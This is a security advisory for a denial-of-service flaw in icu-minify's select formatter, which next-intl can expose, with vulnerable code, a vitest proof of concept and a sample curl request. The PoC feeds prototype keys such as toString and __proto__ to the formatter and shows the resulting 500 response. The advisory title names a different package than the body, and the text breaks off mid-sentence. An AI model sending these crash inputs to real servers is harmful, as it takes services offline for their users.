GHSA-r27j-894h-3w3p mcp-data-vis vulnerable to denial of service via unsanitized `select` key lookup on `Object.prototype` with `precompile: true`

• npm icu-minify: < 4.9.2 → fixed in 4.9.2

Summary `icu-minify`'s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, …}` placeholder — a common idiom for `role`, `status`, `type`, `gender` — can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render. Details Vulnerable code paths Compilation produces a plain object whose prototype chain includes all `Object.prototype` members: ```tsx // packages/icu-minify/src/compile.tsx:191-199 function compileSelect(node: SelectElement): CompiledNode { const options: SelectOptions = {}; // ( name: string, options: SelectOptions, locale: string, values: FormatValues, formatOptions: FormatOptions, pluralCtx: PluralContext | undefined ): string | RichTextElement | Array { const value = String(getValue(values, name)); // 234: coerce to string, no sanitization const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup if (process.env.NODE_ENV !== 'production' && !branch) { throw new Error( `No matching branch for select "${name}" with value "${value}"` ); } return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243 } ``` Because `options` inherits from `Object.prototype`, lookups such as `options['toString']` return `Object.prototype.toString` — a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`: ```tsx // packages/icu-minify/src/format.tsx:286-308 function formatBranch( branch: CompiledNode, /* … */ ) { if (typeof branch === 'string') return branch; // string: fine if (branch === TYPE_POUND) return formatNode(/* … */); // pound: fine return formatNodes(branch as Array, /* … */); // 301: Function is not iterable } // packages/icu-minify/src/format.tsx:73-92 function formatNodes( nodes: Array, /* … */ ): Array { const result: Array = []; for (const node of nodes) { // 82: TypeError: nodes is not iterable /* … */ } return result; } ``` Five bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error('No matching branch for select …')`) is bypassed because the inherited function is truthy — so this is not masked in development either. Why `formatPlural` is not affected `formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug: 1. Exact-match keys use the `=${value}` prefix (`exactKey = '=' + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`. 2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied. The bug is specific to the `select` path where the raw string value is used as the lookup key. Reachability • Direct consumers of `icu-minify`: any code calling `format(compiled, locale, values, …)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions. • `next-intl` users who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t('msg', {role: req.query.role})` against a `{role, select, admin {…} other {…}}` message crashes the render. No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — `values` reaches `format()` unmodified. PoC Verified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`. Reproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`): ```ts import {describe, expect, it} from 'vitest'; import compile from '../src/compile.js'; import format, {type FormatOptions} from '../src/format.js'; const formatters: FormatOptions['formatters'] = { getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a), getNumberFormat: (...a) => new Intl.NumberFormat(...a), getPluralRules: (...a) => new Intl.PluralRules(...a) }; describe('select prototype-key DoS', () => { const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}'); for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) { it(`crashes on role="${key}"`, () => { process.env.NODE_ENV = 'production'; expect(() => format(compiled, 'en', {role: key}, {formatters})) .toThrow(TypeError); // "nodes is not iterable" }); } }); ``` Observed output (each of the 5 keys): ``` TypeError: nodes is not iterable at formatNodes (packages/icu-minify/src/format.tsx:82:22) at formatBranch (packages/icu-minify/src/format.tsx:301:10) at formatSelect (packages/icu-minify/src/format.tsx:243:10) at formatNode (packages/icu-minify/src/format.tsx:150:14) at formatNodes (packages/icu-minify/src/format.tsx:83:23) at format (packages/icu-minify/src/format.tsx:64:18) ``` End-to-end Next.js scenario (illustrative — any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render): ```tsx // app/[locale]/profile/page.tsx — assume precompile enabled export default async function Page({searchParams}: {searchParams: Promise}) { const t = await getTranslations('Profile'); const {role = 'other'} = await searchParams; return {t('greeting', {role})}; // ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" } } ``` ``` curl -i 'https://target.example/en/profile?role=toString' HTTP/1.1 500 Internal Server Error ``` Impact • Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request. • Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain *read* confusion, not a prototype pollution write. • Scope: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag. • Preconditions: Developer must f…